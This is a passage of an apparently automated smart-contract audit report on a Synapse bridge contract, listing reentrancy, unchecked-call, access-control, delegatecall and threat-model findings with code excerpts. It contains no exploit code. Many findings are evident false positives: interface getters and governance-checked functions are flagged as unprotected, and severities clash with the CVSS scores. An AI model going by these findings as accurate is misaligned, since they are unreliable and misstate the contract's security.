2387 |      * @param swapDeadline Specifies the deadline that the nodes are allowed
      to try to redeem/swap the LP token
2388 |      * @param kappa kappa
2389 |      **/
>> 2390 |      function withdrawAndRemove(
      address to,
2391 |          IERC20 token,
2392 |          uint256 amount,
2393 |          uint256 fee,
2394 |          ISwap pool,
2395 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Implement role-based access control using OpenZeppelin's `AccessControl` or `Ownable2Step`. Use modifier-based checks and emit events on all privileged operations.

References

- SWC-105
- OWASP Smart Contract Top 10

F-276. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2190
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Return value of `call()` not checked at line 2190. Always verify the success of low-level calls.

Vulnerable Code

```

2185 |         fees[address(token)] = fees[address(token)].add(fee);
2186 |         emit TokenMint(to, token, amount.sub(fee), fee, kappa);
2187 |         token.mint(address(this), amount);
2188 |         IERC20(token).safeTransfer(to, amount.sub(fee));
2189 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2190 |             to.call.value(chainGasAmount)("");
2191 |         }
2192 |     }
2193 |
2194 |     /**
2195 |      * @notice Relays to nodes to both transfer an ERC20 token cross-chain,
and then have the nodes execute a swap through a liquidity pool on behalf of the user.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-104
- OWASP Smart Contract Top 10

F-277. Unchecked Low-Level Call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	39%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2300
Status	Open (39% conf.)
Detected By	smartbugs_detector

Description

Return value of call() not checked at line 2300. Always verify the success of low-level calls.

Vulnerable Code

```

2295 |         require(!kappaMap[kappa], "Kappa is already present");
2296 |         kappaMap[kappa] = true;
2297 |         fees[address(token)] = fees[address(token)].add(fee);
2298 |         // Transfer gas airdrop
2299 |         if (chainGasAmount != 0 && address(this).balance > chainGasAmount) {
>> 2300 |             to.call.value(chainGasAmount)("");
2301 |         }
2302 |         // first check to make sure more will be given than min amount
required
2303 |         uint256 expectedOutput = ISwap(pool).calculateSwap(tokenIndexFrom,
tokenIndexTo, amount.sub(fee));
2304 |
2305 |         if (expectedOutput >= minDy) {

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- SWC-104
- OWASP Smart Contract Top 10

F-278. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	SynapseBridge.flat.sol:58 (sendValue)
Status	Open (26% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

53 |      */
54 |      function sendValue(address payable recipient, uint256 amount) internal {
55 |          require(address(this).balance >= amount, "Address: insufficient
balance");
56 |
57 |          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
>> 58 |          (bool success, ) = recipient.call{ value: amount }("");
59 |          require(success, "Address: unable to send value, recipient may have
reverted");
60 |      }
61 |
62 |      /**
63 |      * @dev Performs a Solidity function call using a low level `call`. A

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-279. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	SynapseBridge.flat.sol:120 (functionCallWithValue)
Status	Open (26% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

115 |     function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
116 |         require(address(this).balance >= value, "Address: insufficient balance
for call");
117 |         require(isContract(target), "Address: call to non-contract");
118 |
119 |         // solhint-disable-next-line avoid-low-level-calls
>> 120 |         (bool success, bytes memory returndata) = target.call{ value: value }
(data);
121 |         return _verifyCallResult(success, returndata, errorMessage);
122 |     }
123 |
124 |     /**
125 |      * @dev Same as {xref-Address-functionCall-address-bytes-}
[`functionCall`],

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-280. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	SynapseBridge.flat.sol:246 (sendValue)
Status	Open (26% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

241 |      */
242 |      function sendValue(address payable recipient, uint256 amount) internal {
243 |          require(address(this).balance >= amount, "Address: insufficient
balance");
244 |
245 |          // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
>> 246 |          (bool success, ) = recipient.call{ value: amount }("");
247 |          require(success, "Address: unable to send value, recipient may have
reverted");
248 |      }
249 |
250 |      /**
251 |      * @dev Performs a Solidity function call using a low level `call`. A

```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-281. reentrancy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	26%
Location	SynapseBridge.flat.sol:308 (functionCallWithValue)
Status	Open (26% conf.)
Detected By	peculiar

Description

Reentrancy vulnerability: external call precedes state update

Vulnerable Code

```

303 |     function functionCallWithValue(address target, bytes memory data, uint256
value, string memory errorMessage) internal returns (bytes memory) {
304 |         require(address(this).balance >= value, "Address: insufficient balance
for call");
305 |         require(isContract(target), "Address: call to non-contract");
306 |
307 |         // solhint-disable-next-line avoid-low-level-calls
>> 308 |         (bool success, bytes memory returndata) = target.call{ value: value }
(data);
309 |         return _verifyCallResult(success, returndata, errorMessage);
310 |     }
311 |
312 |     /**

```

```
313 | * @dev Same as {xref-Address-functionCall-address-bytes-}
    | [`functionCall`],
```

Impact Analysis

An attacker can recursively call the vulnerable function before state updates complete, draining contract funds in a single transaction. This is one of the most exploited vulnerability classes in DeFi (e.g., The DAO hack, \$60M lost).

Recommendation

Apply checks-effects-interactions pattern. Move all state changes before external calls, or use OpenZeppelin ReentrancyGuard modifier.

References

- SWC-107
- OWASP Smart Contract Top 10

F-282. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1365 (_mint)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```
1360 | *
1361 | * Requirements:
1362 | *
1363 | * - `to` cannot be the zero address.
1364 | */
>> 1365 | function _mint(address account, uint256 amount) internal virtual {
1366 |     require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |     _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |     _totalSupply = _totalSupply.add(amount);
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-283. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1386 (_burn)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1381 |      * Requirements:
1382 |      *
1383 |      * - `account` cannot be the zero address.
1384 |      * - `account` must have at least `amount` tokens.
1385 |      */
>> 1386 |      function _burn(address account, uint256 amount) internal virtual {
1387 |          require(account != address(0), "ERC20: burn from the zero address");
1388 |
1389 |          _beforeTokenTransfer(account, address(0), amount);
1390 |
1391 |          _balances[account] = _balances[account].sub(amount, "ERC20: burn
amount exceeds balance");

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-284. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1477 (__Pausable_init_unchained)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1472 |     function __Pausable_init() internal initializer {
1473 |         __Context_init_unchained();
1474 |         __Pausable_init_unchained();
1475 |     }
1476 |
>> 1477 |     function __Pausable_init_unchained() internal initializer {
1478 |         _paused = false;
1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
```


Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-285. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1484 (paused)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
    paused.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-286. access_control

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1519 (_pause)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1514 |      *
1515 |      * Requirements:
1516 |      *
1517 |      * - The contract must not be paused.
1518 |      */
>> 1519 |      function _pause() internal virtual whenNotPaused {
1520 |          _paused = true;
1521 |          emit Paused(_msgSender());
1522 |      }
1523 |
1524 |      /**

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-287. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1531 (_unpause)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1526 |      *
1527 |      * Requirements:
1528 |      *
1529 |      * - The contract must be paused.
1530 |      */
>> 1531 |      function _unpause() internal virtual whenPaused {
1532 |          _paused = false;
1533 |          emit Unpaused(_msgSender());
1534 |      }
1535 |      uint256[49] private __gap;
1536 |  }
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-288. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1843 (burn)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1838 |  /**
1839 |  * @dev Destroys `amount` tokens from the caller.
1840 |  *
1841 |  * See {ERC20-_burn}.
1842 |  */
>> 1843 |  function burn(uint256 amount) public virtual {
1844 |      _burn(_msgSender(), amount);
1845 |  }
1846 |
1847 |  /**
1848 |  * @dev Destroys `amount` tokens from `account`, deducting from the
caller's

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-289. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:1858 (burnFrom)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-290. access_control

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:2080 (withdrawFees)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-291. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:2090 (pause)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

2085 |         fees[address(token)] = 0;
2086 |     }
2087 | }
2088 |
2089 | // PAUSABLE FUNCTIONS ***/
>> 2090 | function pause() external {
2091 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |     _pause();
2093 | }
2094 |
2095 | function unpause() external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-292. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	SynapseBridge.flat.sol:2095 (unpause)
Status	Open (28% conf.)
Detected By	peculiar

Description

Missing or insufficient access control on privileged function

Vulnerable Code

```

2090 |     function pause() external {
2091 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |         _pause();
2093 |     }
2094 |
>> 2095 |     function unpause() external {
2096 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2097 |         _unpause();
2098 |     }
2099 |
2100 |     /**

```


Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers (onlyOwner, role-based) to sensitive functions. Use OpenZeppelin AccessControl or Ownable.

References

- SWC-115
- OWASP Smart Contract Top 10

F-293. delegatecall_injection

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:169 (functionDelegateCall)
Status	Open (28% conf.)
Detected By	peculiar

Description

Delegatecall to user-supplied or unvalidated address

Vulnerable Code

```

164 |     function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |         require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |         // solhint-disable-next-line avoid-low-level-calls
168 |         (bool success, bytes memory returndata) = target.delegatecall(data);
>> 169 |         return _verifyCallResult(success, returndata, errorMessage);
170 |     }
171 |
172 |     function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns (bytes memory) {
173 |         if (success) {
174 |             return returndata;

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Validate and whitelist delegatecall target addresses. Never delegatecall to user-controlled input. Use immutable proxy patterns with verified implementation addresses.

References

- SWC-112
- OWASP Smart Contract Top 10

F-294. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:683
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-295. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:688
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-296. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
694 |      *
695 |      * Emits a {Transfer} event.
696 |      */
>> 697 |      function transfer(address recipient, uint256 amount) external returns
      (bool);
698 |
699 |      /**
700 |      * @dev Returns the remaining number of tokens that `spender` will be
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-297. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:706
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
703 |      *
704 |      * This value changes when {approve} or {transferFrom} are called.
705 |      */
>> 706 |      function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 |      /**
709 |      * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 |      *
711 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-298. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:722
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-299. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:733
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

728 |      *
729 |      * Returns a boolean value indicating whether the operation succeeded.
730 |      *
731 |      * Emits a {Transfer} event.
732 |      */
>> 733 |      function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 |      /**
736 |      * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 |      * another (`to`).
738 |      *
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-300. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:753
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
748 | }
749 |
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
>> 753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-301. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:755
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
750 | // bridge/interfaces/IWETH9.sol
751 |
752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
>> 755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-302. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:757
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

752 | interface IWETH9 {
753 |     function name() external view returns (string memory);
754 |
755 |     function symbol() external view returns (string memory);
756 |
>> 757 |     function decimals() external view returns (uint8);
758 |
759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-303. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:759
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

754 |
755 |     function symbol() external view returns (string memory);
756 |
757 |     function decimals() external view returns (uint8);
758 |
>> 759 |     function balanceOf(address) external view returns (uint256);
760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-304. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:761
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```
756 |  
757 |     function decimals() external view returns (uint8);  
758 |  
759 |     function balanceOf(address) external view returns (uint256);  
760 |  
>> 761 |     function allowance(address, address) external view returns (uint256);  
762 |  
763 |     receive() external payable;  
764 |  
765 |     function deposit() external payable;  
766 |
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-305. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:765
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

760 |
761 |     function allowance(address, address) external view returns (uint256);
762 |
763 |     receive() external payable;
764 |
>> 765 |     function deposit() external payable;
766 |
767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-306. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:769
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

764 |
765 |     function deposit() external payable;
766 |
767 |     function withdraw(uint256 wad) external;
768 |
>> 769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-307. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:771
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

766 |
767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-308. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:773
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
777 |         address dst,
778 |         uint256 wad

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-309. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1870
Status	Open (28% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

1865 |
1866 | // bridge/interfaces/ISwap.sol
1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
>> 1870 |     function getA() external view returns (uint256);
1871 |
1872 |     function getAPrecise() external view returns (uint256);
